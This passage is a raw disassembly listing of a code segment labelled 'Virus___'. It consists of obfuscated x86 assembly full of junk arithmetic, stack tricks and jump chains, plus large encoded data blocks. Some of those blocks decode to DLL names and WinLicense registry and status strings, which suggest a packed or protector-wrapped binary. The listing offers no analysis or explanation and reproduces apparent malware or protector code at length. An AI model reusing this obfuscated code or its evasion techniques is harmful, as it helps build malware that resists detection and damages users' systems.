[esp], ebx push edx mov dl, 0DFh dec dl push ebx mov bh, 6Eh jmp loc_5850BE ; --------------------------------------------------------------------------- loc_594084: ; CODE XREF: Virus___:00587A24j add esi, edi jmp loc_582622 ; --------------------------------------------------------------------------- loc_59408B: ; CODE XREF: Virus___:005857B8j add al, 69h jmp loc_58B131 ; --------------------------------------------------------------------------- loc_594092: ; CODE XREF: Virus___:00581E65j mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 jmp loc_586ADD ; --------------------------------------------------------------------------- loc_5940B9: ; CODE XREF: Virus___:00583026j add ecx, esi sub ecx, 4DBC4552h push dword ptr [esp] pop esi jmp loc_589766 ; --------------------------------------------------------------------------- loc_5940CA: ; CODE XREF: Virus___:0058A75Aj mov edx, ebx jmp loc_58CFF2 ; --------------------------------------------------------------------------- loc_5940D1: ; CODE XREF: Virus___:005905D0j sub eax, ebx sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp mov ebp, 2A8778FFh xor ebp, 678900A9h xchg edx, ebp dec edx jmp loc_581382 ; --------------------------------------------------------------------------- loc_5940F5: ; CODE XREF: Virus___:0058B1A2j push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_57FF35 ; --------------------------------------------------------------------------- loc_594105: ; CODE XREF: Virus___:00583E95j push esp jmp loc_58DC95 ; --------------------------------------------------------------------------- loc_59410B: ; CODE XREF: Virus___:00592AC1j add eax, 4 push ebp mov ebp, 341E2B59h sub ebp, 59327E7Eh add ebp, 25145329h add eax, ebp pop ebp xchg eax, [esp] pop esp jmp loc_581968 ; --------------------------------------------------------------------------- loc_59412E: ; CODE XREF: Virus___:0058DBD4j mov ebx, [esp] add esp, 4 xor ebx, ecx jmp loc_590ECD ; --------------------------------------------------------------------------- loc_59413B: ; CODE XREF: Virus___:0058A237j dec eax push ebp mov ebp, 2D4A5F69h not ebp and ebp, 47F83037h dec ebp shr ebp, 1 inc ebp jmp loc_5830E7 ; --------------------------------------------------------------------------- loc_594153: ; CODE XREF: Virus___:0058102Cj add esp, 4 push ebp jmp loc_58A6A5 ; --------------------------------------------------------------------------- loc_59415F: ; CODE XREF: Virus___:00591E7Ej mov ebp, esp push esi jmp loc_59182E ; --------------------------------------------------------------------------- loc_594167: ; CODE XREF: Virus___:00581660j mov eax, [esp] jmp loc_5909E7 ; --------------------------------------------------------------------------- loc_59416F: ; CODE XREF: Virus___:0058125Aj push esi mov esi, 8820EBB7h jmp loc_5854AE ; --------------------------------------------------------------------------- push 1C89h push esp pop dword ptr [esp] push esi jmp loc_58A734 ; --------------------------------------------------------------------------- loc_594189: ; CODE XREF: Virus___:0058267Bj mov ecx, 7EC34470h xor edi, ecx mov ecx, [esp] add esp, 4 dec edi push ebx mov ebx, 4155230Bh push eax mov eax, 7C2D79E8h or eax, 222D2790h sub eax, 5C94E79h and ebx, eax jmp loc_58F296 ; --------------------------------------------------------------------------- loc_5941B7: ; CODE XREF: Virus___:00589F05j pop edx push ecx mov ecx, 41427AF6h xor ecx, 41427AF2h sub eax, ecx pop ecx push eax push dword ptr [esp+4] jmp loc_5908D6 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 58CD6858h, 0C890000h, 9EF4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5941E2: ; CODE XREF: Virus___:005821B8j mov edx, ecx pop ecx mov ebp, [esp] add esp, 4 sub edx, 0F130676Eh push edx pop ebp pop edx xor eax, ebp push dword ptr [esp] push dword ptr [esp] jmp loc_593E62 ; --------------------------------------------------------------------------- loc_594204: ; CODE XREF: Virus___:00591F13j sub ebx, 2A0E6A33h jmp loc_583954 ; --------------------------------------------------------------------------- loc_59420F: ; CODE XREF: Virus___:00584FE5j sub bl, ah sub bl, 1 push dword ptr [esp] pop eax jmp loc_589B6F ; --------------------------------------------------------------------------- lodsb push 7CE9h jmp loc_582AAF ; --------------------------------------------------------------------------- loc_594228: ; CODE XREF: Virus___:00586009j bswap eax jmp loc_5892A8 ; --------------------------------------------------------------------------- loc_59422F: ; CODE XREF: Virus___:00588E2Fj add esp, 4 xchg ebp, [esp] pop esp inc word ptr [esp] pushf jmp loc_583BBD ; --------------------------------------------------------------------------- loc_594240: ; CODE XREF: Virus___:005932CFj mov [esp], esp jmp loc_5818EA ; --------------------------------------------------------------------------- loc_594248: ; CODE XREF: Virus___:0058FA75j add eax, 4E7E513Ch sub eax, 5A2A66E4h add eax, esi add eax, 5A2A66E4h sub eax, 4E7E513Ch push dword ptr [esp] mov esi, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp push ebp jmp loc_584C9F ; --------------------------------------------------------------------------- loc_594283: ; CODE XREF: Virus___:00584D98j pop ebp add edx, edi mov edi, [esp] add esp, 4 xor edx, [esp] xor [esp], edx jmp loc_58709A ; --------------------------------------------------------------------------- loc_59429A: ; CODE XREF: Virus___:005881FEj push edx mov edx, 62152241h sub eax, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_583753 ; --------------------------------------------------------------------------- loc_5942B9: ; CODE XREF: Virus___:00587309j push sp pop small word ptr [esp] push small 743h mov [esp], cx push 290Bh mov [esp], eax jmp loc_58869B ; --------------------------------------------------------------------------- loc_5942D4: ; CODE XREF: Virus___:0058A7CAj sub eax, esi pop esi jmp loc_5905ED ; --------------------------------------------------------------------------- loc_5942DC: ; CODE XREF: Virus___:0057F4E5j pop dword ptr [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 add eax, 2 push 2B0Ch mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push ebp mov ebp, esp jmp loc_592983 ; --------------------------------------------------------------------------- loc_59430C: ; CODE XREF: Virus___:0058822Cj not edx xchg edx, esi xchg esi, ebp sub ebp, 0D146B891h add edx, 24786194h add edx, ebp push esi push 7D366194h mov esi, [esp] add esp, 4 jmp loc_582446 ; --------------------------------------------------------------------------- loc_594334: ; CODE XREF: Virus___:00592C7Ej shr edi, 6 push edi xchg ebp, [esp] not ebp jmp loc_589F11 ; --------------------------------------------------------------------------- loc_594342: ; CODE XREF: Virus___:0058D034j add ax, 7B43h push dx jmp loc_585F0E ; --------------------------------------------------------------------------- loc_59434D: ; CODE XREF: Virus___:0057F45Fj push eax mov eax, 71E830B1h xor eax, 0E1F830B5h xor ebp, eax jmp loc_583156 ; --------------------------------------------------------------------------- loc_59435F: ; CODE XREF: Virus___:0058AFB1j mov esp, [esp] push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_58855D ; --------------------------------------------------------------------------- loc_59436F: ; CODE XREF: Virus___:0057F4C7j sub ebp, 246F39CCh sub ebp, 761602D0h pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_580E53 ; --------------------------------------------------------------------------- loc_59438A: ; CODE XREF: Virus___:0058E776j add esp, 4 pop ecx push eax mov al, bl mov [edi+28h], al pop eax push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_581A96 ; --------------------------------------------------------------------------- loc_5943A6: ; CODE XREF: Virus___:0058F205j push 613135B2h pop esi add esi, 0FFFFFFFFh jmp loc_5882F6 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] push edi jmp loc_58FC0C ; --------------------------------------------------------------------------- loc_5943C3: ; CODE XREF: Virus___:00588502j mov [esp], esp add dword ptr [esp], 4 jmp loc_57F5D6 ; --------------------------------------------------------------------------- loc_5943D2: ; CODE XREF: Virus___:0058FF38j push eax push edx mov edx, 4 jmp loc_5846A4 ; --------------------------------------------------------------------------- loc_5943DE: ; CODE XREF: Virus___:0058A7FDj xor cl, [esp] xor [esp], cl jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5943E9: ; CODE XREF: Virus___:00583640j xor ebx, esi pop esi sub dword ptr [esp+4], 27B76143h add [esp+4], ebx jmp loc_58B4B5 ; --------------------------------------------------------------------------- loc_5943FD: ; CODE XREF: Virus___:0058A8EEj mov [esp], eax push 2A85h mov [esp], ecx push dword ptr [esp] pop eax jmp loc_5916E0 ; --------------------------------------------------------------------------- loc_594411: ; CODE XREF: Virus___:00588BF7j dec ecx jmp loc_581BF4 ; --------------------------------------------------------------------------- loc_594417: ; CODE XREF: Virus___:00593490j shr eax, 7 shr eax, 7 sub esp, 4 jmp loc_5813A6 ; --------------------------------------------------------------------------- loc_594425: ; CODE XREF: Virus___:005815BCj add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] push 533h mov [esp], eax mov eax, esp push ebx jmp loc_58CA74 ; --------------------------------------------------------------------------- loc_59444A: ; CODE XREF: Virus___:00588802j add ebp, 35961CFFh jmp loc_57FF4F ; --------------------------------------------------------------------------- loc_594455: ; CODE XREF: Virus___:00588B48j pop edx jmp loc_593CCE ; --------------------------------------------------------------------------- loc_59445B: ; CODE XREF: Virus___:00587827j mov edi, esi pop esi add dword ptr [esp+4], 24353B09h add [esp+4], edi sub dword ptr [esp+4], 24353B09h push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_58A041 ; --------------------------------------------------------------------------- loc_594480: ; CODE XREF: Virus___:00594069j pop ebp inc eax sub eax, 3B2B0C99h shr eax, 6 shr eax, 5 push edi mov edi, 67A035B2h jmp loc_581DBA ; --------------------------------------------------------------------------- mov cx, [esp] push 6182h mov [esp], edi mov edi, esp push eax mov eax, 758672E4h dec eax push edi jmp loc_58DF92 ; --------------------------------------------------------------------------- loc_5944B3: ; CODE XREF: Virus___:00581F16j sub ebp, 733B209Dh sub ebp, 718F20C3h add ebp, 2C8B8699h jmp loc_5823DD ; --------------------------------------------------------------------------- loc_5944CA: ; CODE XREF: Virus___:00588431j add esi, 2E833AF6h jmp loc_58B6B0 ; --------------------------------------------------------------------------- loc_5944D5: ; CODE XREF: Virus___:005835CDj mov [esp], ebp push eax push ecx mov ecx, 6C8A0323h jmp loc_5870A2 ; --------------------------------------------------------------------------- loc_5944E4: ; CODE XREF: Virus___:0058D83Ej add esi, edi pop edi add esi, 4 xchg esi, [esp] pop esp pop dword ptr [esp] jmp loc_591DB4 ; --------------------------------------------------------------------------- loc_5944F6: ; CODE XREF: Virus___:0058D130j add ebp, 0FFFFFFFFh jmp loc_5922C7 ; --------------------------------------------------------------------------- loc_5944FE: ; CODE XREF: Virus___:00587154j shr ecx, 0Bh push 3ED5h mov [esp], ebx jmp loc_588FD0 ; --------------------------------------------------------------------------- loc_59450E: ; CODE XREF: Virus___:0059174Cj push ebx push eax mov al, 0Fh shr al, 7 sub al, 19h add al, 43h shl al, 5 and al, 5Ah jmp loc_58C62E ; --------------------------------------------------------------------------- loc_594523: ; CODE XREF: Virus___:005852D1j add edx, esi pop esi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] mov fs:[edx], al jmp loc_57F37C ; --------------------------------------------------------------------------- loc_59453A: ; CODE XREF: Virus___:00591812j mov ebx, [esp] jmp loc_58E2C4 ; --------------------------------------------------------------------------- loc_594542: ; CODE XREF: Virus___:00580919j dec eax dec eax add eax, 7EA04C20h add eax, 1 xor eax, 0DF1204C1h jmp loc_590963 ; --------------------------------------------------------------------------- loc_594556: ; CODE XREF: Virus___:00583157j add ecx, ebp jmp loc_586ED6 ; --------------------------------------------------------------------------- loc_59455D: ; CODE XREF: Virus___:0058BA37j mov eax, [esp] add esp, 4 mov ecx, [esp] add esp, 4 mov cl, bh pop ebx mov [edi+eax*4], cl push dword ptr [esp] push dword ptr [esp] pop ecx push edi mov edi, esp jmp loc_591EF0 ; --------------------------------------------------------------------------- loc_594581: ; CODE XREF: Virus___:005726CAj jmp loc_5945E7 ; --------------------------------------------------------------------------- dw 3B4Dh dd 535557ECh, 32335245h, 6C6C642Eh, 56444100h, 33495041h dd 6C642E32h, 544E006Ch, 2E4C4C44h, 6C6C64h, 307D8h, 1F0001h dd 350017h, 1600025h, 0Ah dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5945E7: ; CODE XREF: Virus___:loc_594581j jmp loc_594E7B ; --------------------------------------------------------------------------- push 95F9BAFh jmp loc_5729AF ; --------------------------------------------------------------------------- push 95F9C1Dh jmp loc_5729AF ; --------------------------------------------------------------------------- push 95F9D58h jmp loc_5729AF ; --------------------------------------------------------------------------- push 95F9E52h jmp loc_5729AF ; --------------------------------------------------------------------------- push 95F9EC9h jmp loc_5729AF ; --------------------------------------------------------------------------- push 95F9FB8h jmp loc_5729AF ; --------------------------------------------------------------------------- push 95FA025h jmp loc_5729AF ; --------------------------------------------------------------------------- dw 0A2BCh dd 0CE9539B2h, 98A9058Eh, 0C59F33B8h, 0B1B21E95h, 1C6A2AA1h dd 57DC7CC7h, 60EB6BFBh, 53D878CCh, 61EA6AFFh, 829C0F46h dd 0FE30F8B2h, 0F75B68CCh, 4FD9ED6Dh, 485B5840h, 5FE44801h dd 0A3E84C75h, 0EDF82C03h, 7DE94AD9h, 0C193332h, 0A880F764h dd 4E45D950h, 0C85B125Bh, 69D0C136h, 1670E060h, 0ED7E3703h dd 62ABB87Eh, 1919CA55h, 0C292A7DEh, 0C38590F6h, 0C1881B98h dd 0B387D76Dh, 0C8469FAh, 0D07C5959h, 9683C595h, 0E755CA83h dd 0B0140E25h, 3D7BDB68h, 40093D28h, 72F959ECh, 87CB8BDEh dd 0FC0F11DFh, 0DDCADE98h, 11000006h, 2A860D4Dh, 1AB63D1Dh dd 2C800B4Bh, 63CF4414h, 0BBFB70E0h, 0B4B144Dh, 46162C80h dd 73E361CDh, 411154F8h, 37A4EDCAh, 30F8B2EBh, 5BC36755h dd 23B06CF7h, 3A584DDFh, 7415441h, 0BF8A2612h, 1582D99Fh dd 7C48DB92h, 743331B7h, 0D8CD8DD8h, 37273D91h, 859F5BCh dd 94D07C48h, 1B2E82C4h, 0C4D9773Bh, 98DE34E6h, 66F8Ch dd 0BF9FA300h, 8BCB9834h, 0C595AC00h, 0F262E24Eh, 0CA8AD579h dd 0AAB70141h, 9E32B999h, 0AF0388C8h, 9E32B999h, 27008BCBh dd 0B121FD6Eh, 0AD9F30F8h, 0ABABBE09h, 59F94EE2h, 783E0A1Fh dd 87C191D4h, 75B27h, 0B48313BFh, 8326h, 0ABBE8200h, 47015112h dd 68CC4752h, 584D7981h, 38182D3Ah, 1156FAB3h, 2D5FCACBh dd 0B4A12EC4h, 88D3E7F2h, 42D1980Bh, 33324978h, 0AB347D68h dd 0A67BA9FCh, 0F6BF8BB4h, 74E0E5Ah, 8A94074Eh, 0F630FB25h dd 25AE70E3h, 0AE3D30FBh, 30FB2554h, 0AABFD9CCh, 0C35C159Eh dd 0D167CD90h, 369AAEFBh, 226B2232h, 1DE2B6BDh, 0BE2D5640h dd 30FB0064h, 0BBFDC9DCh, 56065EF2h, 0ADEB6BFAh, 0A1988CB8h dd 3C000005h, 0EDABABBEh, 0E7AE01B6h, 8FD1FB4Bh, 0C33966CCh dd 72672134h, 8F9C0F46h, 0EB333304h, 0F6ED31A2h, 465330FAh dd 0F174D853h, 91D787D8h, 411A9184h, 85165F52h, 29D4605Ah dd 93DA9386h, 7036263Fh, 0DC7CC965h, 17BB8F9Ah, 1F798B51h dd 0C7E0E0FCh, 99063269h, 6174E197h, 520246EAh, 0ADADB814h dd 89EC71E1h, 3024622Bh, 534h, 77FC5CE6h, 47CC8CDBh, 71FA5AEBh dd 58D383DDh, 60EB6BF4h, 0B28DD620h, 0BD8529A2h, 0AEBA169Dh dd 0BC8925AEh, 7930179Ch, 0F8B018EAh, 1EBA8830h, 0EDABABBEh dd 12540441h, 8074CEB2h, 7F39192Ch, 2ACD5E6Ah, 0D53A584Fh dd 83124589h, 0FECAAEB4h, 0BE0AFFFFh, 0B6EDABABh, 3D442401h dd 148BCB98h, 65708B95h, 1B64BF2Ch, 43DC3333h, 6BC70030h dd 961D0874h, 66F673DFh, 278A0952h, 5A0EFD6Eh, 0FFEA29D5h dd 68D52AB9h, 0CEB23A57h, 152C8074h, 22160345h, 83F9197Eh dd 1555CB4h, 84F80000h, 0DD24938Bh, 584DB44Eh, 95392C3Ah dd 0D29B8ECEh, 3320EE41h, 4E071233h, 3DAE62E2h, 30FB1AE1h dd 195F4A5Fh, 0C350380Ch, 0D9510594h, 266F4271h, 0AC15D6B5h dd 71372262h, 733A6D2Ah, 58EF0DE0h, 0A9E0F559h, 96A94005h dd 0F458D3C6h, 27ADE171h, 0A4FC0E49h, 43AF6E2h, 52EC0000h dd 1E258902h, 4819B53Eh, 152F8308h, 0E162CE45h, 4CBAFA71h dd 870C4C17h, 0B03B1B2Bh, 8308481Ch, 0B13A1A2Fh, 0B24CDF96h dd 2E30F8AFh, 4A49B81Ch, 0CB672E67h, 8A9FD979h, 0B7BF2DBEh dd 5F163331h, 0F8B332CCh, 8FBBAE30h, 19B5FCE9h, 0DD420B4Bh dd 2085935Eh, 62E9DD2Fh, 9CDA7ACEh, 0F30F9CD5h, 6D30F8B7h dd 65E04C78h, 0C03DB9F5h, 0C08634E6h, 3C3D4h, 6BEB7700h dd 67F74CE0h, 510140ECh, 6EEE76DAh, 66F649E5h, 7E63ADEDh dd 52FE75E5h, 63CF4414h, 52FE75E5h, 0EBCC4717h, 0AFED31A2h dd 615330F8h, 0ABABBEC5h, 893BA4EDh, 6C56EC19h, 6DED7BD7h dd 5970F559h, 185E4B0Bh, 507AC4B8h, 3A576DC7h, 0EFB01448h dd 5133B483h, 97FFFFFDh, 7D81125Bh, 0E33A584Dh, 0DB6EC2F6h dd 31663D7Bh, 6FA4377Eh, 0EB33333Ah, 4A1BB7FEh, 0F5594C0Ah dd 0BDA8EE6Eh, 84A60289h, 23268AB0h, 54607533h, 6C25880Fh dd 0A7B78925h, 212F0093h, 46533333h, 0AD67BD2Eh, 0B7FCC90Bh dd 5111BDF4h, 0D34CE5Dh, 0B9AC990Eh, 0CBFFEAACh, 57A1182h dd 938691E9h, 33309CD5h, 79C96523h, 9F8A9FD9h, 0BCC3F0ABh dd 4105D32Fh, 4D584D92h, 0CE7A9704h, 97828B1Bh, 67F772DEh dd 550540ECh, 0D19AA719h, 0E1A5CCCh, 2D4h, 971C3C06h, 0A72C2C3Bh dd 911A3A0Bh, 0B833233Dh, 800B4B14h, 0D26D76C0h, 9DA50982h dd 0CE9A36BDh, 9CA9058Eh, 591037BCh, 0F8AE38CAh, 3E9AA830h dd 2E674A49h, 31B749BDh, 0FBB2A733h, 7A1D7564h, 0CEFA3897h dd 0E362CE87h, 14203573h, 4A15ACB8h, 0F5594C0Ah, 0B9ACEA6Ah dd 0BD8B27ACh, 0F277DB9Dh, 15C22E62h, 430534E7h, 26757h dd 97C79B00h, 0A3B3B01Ch, 9DBD8428h, 0AAAABA16h, 0A2B28D21h dd 0C21F6929h, 0F65AD181h, 0C76BE070h, 0F65AD181h, 4F68E373h dd 0AD899506h, 0C5F730F8h, 3B4A4961h, 584D56A8h, 0CADFCA3Ah dd 38182F83h, 8CF46B7Eh, 0FBDA6320h, 0B92A6357h, 3331544Dh dd 0B6FFB6A3h, 54926CFFh, 1B0E30F8h, 96C6832Fh, 5356461Dh dd 0A0B0B61Ah, 0AE4EDD94h, 2630F854h, 5422FC6Fh, 8B9E30F8h dd 783E1E27h, 923E786Dh, 48C781D1h, 0B2FB5BE4h, 4E08481Eh dd 0BFE46F5Bh, 0AAE3AAFDh, 9BA84106h, 0FDE8AEBBh, 54C05AC9h dd 253030F8h, 0DA7ACF63h, 0AABF139Ch, 6AAE3AAh, 41541242h dd 0F85450D2h, 91A5B030h, 0A3B3B61Ah, 4F1873E5h, 42DC4F06h dd 0BE30F854h, 5FE39FABh, 134301ADh, 9EBE8B27h, 0ACACB915h dd 5DFD46EAh, 0EC760A1Bh, 43C888DDh, 0CB5854EFh, 30F85437h dd 66B69150h, 83E5ED88h, 53C58396h, 8A266F38h, 3AE011BBh dd 0AF72D237h, 70F28EBAh, 5010BCh, 0CB675346h, 0FF53D878h dd 0F4BDF464h, 0F8FD9B67h, 24100530h, 507ACE62h, 9424C5CFh dd 283D9149h, 0D8743D28h, 6CEC748Dh, 1E2A3F2Ah, 0FF433F58h dd 0ABBE57E8h, 0EDF8EDABh, 667FCA66h, 0D080C6DFh, 3A9683C5h dd 793F2A2Ah, 0A4F6DAEAh, 0ABB7CBB8h, 8209491Ch, 723B1B2Eh dd 6D2386EDh, 88BC6CAFh, 2DE162CEh, 2C1964BEh, 1511689h dd 98345247h, 1D8297C7h, 0F675D20Eh, 44257C1h, 0FDBB9BA8h dd 7411151h, 0C090D2AEh, 6671CDB1h, 54F873E3h, 5C074111h dd 541D5457h, 2C283BC7h, 84B0A589h, 2A495ECDh, 0B4A18207h dd 0C81251FDh, 728E4C69h, 5E6A7FBDh, 0A6098ED5h, 0D6747CEFh dd 0FC637ABFh, 13BB3154h, 0AACCF8C6h, 6CAE70E3h, 7128929h dd 6DF85412h, 24B0B54h, 296C8D91h, 0F3E6F389h, 9D91D478h dd 0B2213131h, 89296C70h, 4C0A4A1Ah, 0D2933F59h, 0C4829782h dd 96D4FC57h, 0D36F13B6h, 5AD181C4h, 0A5E373F6h, 500040ECh dd 8478C864h, 0BAD50B17h, 7560754Ah, 16285433h, 0DD7DCA66h dd 500045E9h, 62F277DBh, 15BF872Bh, 31606609h, 5F190C0Fh dd 0A5E373F3h, 0D791A5B0h, 2535329Eh, 56427663h, 10h, 6CF75BF2h dd 0EC36A5ECh, 543A584Dh, 82267541h, 0F2B4A4BEh, 0D4B0B5Eh dd 0F5B3A3A1h, 0F490959h, 0F6B0A0A3h, 0F49095Ah, 0F7B1A1A3h dd 0C4A0A5Bh, 0F5B3A3A0h, 0E78957D8h, 4C781h, 0B9510000h dd 4, 8759CF29h, 535C243Ch, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 8952243Ch, 4C281E2h, 83000000h, 148704EAh, 2C895C24h dd 9B026824h, 3C8B095Fh, 4C48124h, 54000000h, 81242C8Bh dd 4C4h dd 0F0BA5200h, 0C1010145h, 0E28107EAh, 67977303h, 0FE05C281h dd 0EA01FFFDh, 8B5A3A89h, 8951242Ch, 4C181E1h, 83000000h dd 0C8704C1h, 3C8B5C24h, 0E6895624h, 4C681h, 0C6830000h dd 24348704h, 0DB35E95Ch ; --------------------------------------------------------------------------- std inc dword ptr [edi] loc_594E7B: ; CODE XREF: Virus___:loc_5945E7j mov eax, 95FA2B1h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 66C195A4h, 194D06A3h, 45E16B29h, 7F891F0Bh, 66FE8BF1h dd 5079BCD0h, 0F7B943Dh, 482319C9h, 11E46692h, 0FE8h, 8ED29700h dd 6B36668Dh, 3E60AFD9h, 7B966D32h, 9242BA66h, 11860F59h dd 0E8000000h, 6, 0D1C4D97Eh, 81668C27h, 5E21A3CEh, 5A44C181h dd 66500000h, 7E9EDB81h, 0FC0335Eh, 34FFF7B7h, 0D3BF0F08h dd 0DE95Fh, 8A910000h, 5340DF94h, 22E85F0Ah, 8121866Dh dd 7529B6EFh, 800F76h, 81000000h, 0C8C55EF7h, 0EF81F87Ah dd 2C7B27B4h, 89D9B70Fh, 0F60013Ch, 1682h, 11E900h, 0BA9C0000h dd 0DC9CE4Eh, 42004036h, 0AA16D849h, 0FFDDF27h, 8361DAB7h dd 514803E8h, 5ED2B70Fh, 0A668F881h, 850FFFFFh, 0FFFFFF92h dd 0A5C38166h, 8CE962h, 83600000h, 5D05D1BDh, 840F0009h dd 5, 77E9h, 80006A00h, 850F303Eh, 8, 0E946006Ah, 35h dd 0F333E80h, 885h, 46106A00h, 24E9h, 343E8000h, 8850Fh dd 306A0000h, 13E946h, 3E800000h, 8850F35h, 6A000000h dd 2E94640h, 6A000000h, 203E8000h, 12850Fh, 7E800000h dd 850F0001h, 8, 0E908C483h, 14h, 33DD858Dh, 5090095Dh dd 96509690h, 95FF006Ah, 95D1659h, 85C6C361h, 95D3335h dd 2C1D684Dh, 3481D2D7h, 0E25AB524h, 11B5FF76h, 8D095D07h dd 5D397385h, 89D0FF09h, 5D165985h, 0AAE909h, 6F530000h dd 61777466h, 575C6572h, 694C6E69h, 736E6563h, 68430065h dd 496B6365h, 7058004Eh, 45746F72h, 746978h, 63656843h dd 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh, 69737265h dd 57006E6Fh, 694C6E69h, 736E6563h, 69724465h, 56726576h dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 736E4965h dd 636E6174h, 78450065h, 6B4F7469h, 6F725000h, 4E4963h dd 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DEB908h, 77DFD5BBh, 596E9h, 84858900h, 8D095FA5h dd 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h, 95FA590h dd 0B5FF196Ah, 95FA584h, 6A016Ah, 0A519858Dh, 0FF50095Fh dd 5FA580B5h, 9195FF09h, 0FF095D30h, 5FA580B5h, 8C95FF09h dd 0FF095FA5h, 5FA580B5h, 8D95FF09h, 0C3095D10h, 0A5848589h dd 858D095Fh, 95FA580h, 0EA858D50h, 50095FA4h, 168h, 9095FF80h dd 6A095FA5h, 84858D04h, 50095FA5h, 6A046Ah, 0A543858Dh dd 0FF50095Fh, 5FA580B5h, 9195FF09h, 0FF095D30h, 5FA580B5h dd 8C95FF09h, 0FF095FA5h, 5FA580B5h, 8D95FF09h, 0C3095D10h dd 0A5848589h, 858D095Fh, 95FA580h, 0EA858D50h, 50095FA4h dd 168h, 9095FF80h, 6A095FA5h, 84858D04h, 50095FA5h, 6A046Ah dd 0A52B858Dh, 0FF50095Fh, 5FA580B5h, 9195FF09h, 0FF095D30h dd 5FA580B5h, 8C95FF09h, 0FF095FA5h, 5FA580B5h, 8D95FF09h dd 0C3095D10h, 0A5848589h, 858D095Fh, 95FA580h, 0EA858D50h dd 50095FA4h, 168h, 9095FF80h, 6A095FA5h, 84858D04h, 50095FA5h dd 6A046Ah, 0A556858Dh, 0FF50095Fh, 5FA580B5h, 9195FF09h dd 0FF095D30h, 5FA580B5h, 8C95FF09h, 0FF095FA5h, 5FA580B5h dd 8D95FF09h, 0C3095D10h, 0A5848589h, 858D095Fh, 95FA580h dd 0EA858D50h, 50095FA4h, 168h, 9095FF80h, 6A095FA5h, 84858D04h dd 50095FA5h, 6A046Ah, 0A506858Dh, 0FF50095Fh, 5FA580B5h dd 9195FF09h, 0FF095D30h, 5FA580B5h, 8C95FF09h, 0FF095FA5h dd 5FA580B5h, 8D95FF09h, 0C3095D10h, 2511BD83h, 0F00095Dh dd 0B84h, 119D8B00h, 83095D25h, 3894CC3h, 11BD83C3h, 95D25h dd 0B840Fh, 9D8B0000h, 95D2511h, 8950C383h, 0BD83C303h dd 95D2511h, 0B840F00h, 8B000000h, 5D25119Dh, 54C38309h dd 83C30389h, 5D2511BDh, 840F0009h, 0Bh, 25119D8Bh, 0C383095Dh dd 0C3038958h, 2511BD83h, 0F00095Dh, 0B84h, 119D8B00h dd 83095D25h, 3895CC3h, 8960C3C3h, 5FA58485h, 80858D09h dd 50095FA5h, 0A4EA858Dh, 6850095Fh, 80000001h, 0A59095FFh dd 46A095Fh, 0A584858Dh, 6A50095Fh, 8D006A04h, 5FA57B85h dd 0B5FF5009h, 95FA580h, 309195FFh, 0BD83095Dh, 95D1809h dd 0C840F00h, 0FF000000h, 5FA580B5h, 8C95FF09h, 0FF095FA5h dd 5FA580B5h, 8D95FF09h, 61095D10h, 858960C3h, 95FA584h dd 0A580858Dh, 8D50095Fh, 5FA4EA85h, 1685009h, 0FF800000h dd 5FA59095h, 8D046A09h, 5FA58485h, 46A5009h, 858D006Ah dd 95FA55Dh, 80B5FF50h, 0FF095FA5h, 5D309195h, 9BD8309h dd 95D18h, 0C840Fh, 0B5FF0000h, 95FA580h, 0A58C95FFh, 0B5FF095Fh dd 95FA580h, 108D95FFh, 0C361095Dh, 84858960h, 8D095FA5h dd 5FA58085h, 858D5009h, 95FA4EAh, 16850h, 95FF8000h, 95FA590h dd 858D046Ah, 95FA584h, 6A046A50h, 64858D00h, 50095FA5h dd 0A580B5FFh, 95FF095Fh, 95D3091h, 1809BD83h, 0F00095Dh dd 0C84h, 80B5FF00h, 0FF095FA5h, 5FA58C95h, 80B5FF09h dd 0FF095FA5h, 5D108D95h, 60C36109h, 0A5848589h, 858D095Fh dd 95FA580h, 0EA858D50h, 50095FA4h, 168h, 9095FF80h, 6A095FA5h dd 84858D04h, 50095FA5h, 6A046Ah, 0A56C858Dh, 0FF50095Fh dd 5FA580B5h, 9195FF09h, 83095D30h, 5D1809BDh, 840F0009h dd 0Ch, 0A580B5FFh, 95FF095Fh, 95FA58Ch, 0A580B5FFh, 95FF095Fh dd 95D108Dh, 8960C361h, 5FA58485h, 80858D09h, 50095FA5h dd 0A4EA858Dh, 6850095Fh, 80000001h, 0A59095FFh, 46A095Fh dd 0A584858Dh, 6A50095Fh, 8D006A04h, 5FA57385h, 0B5FF5009h dd 95FA580h, 309195FFh, 0BD83095Dh, 95D1809h, 0C840F00h dd 0FF000000h, 5FA580B5h, 8C95FF09h, 0FF095FA5h, 5FA580B5h dd 8D95FF09h, 61095D10h, 85C760C3h, 95FA584h, 1, 0A580858Dh dd 8D50095Fh, 5FA4EA85h, 2685009h, 0FF800000h, 5FA59095h dd 0FC00B09h, 0F84h, 8485C700h, 95FA5h, 0E9000000h, 4Dh dd 858D046Ah, 95FA584h, 6A046A50h, 0FE858D00h, 50095FA4h dd 0A580B5FFh, 95FF095Fh, 95D3091h, 840FC00Bh, 0Fh, 0A58485C7h dd 95Fh, 0AE90000h, 0C7000000h, 5FA58485h, 109h, 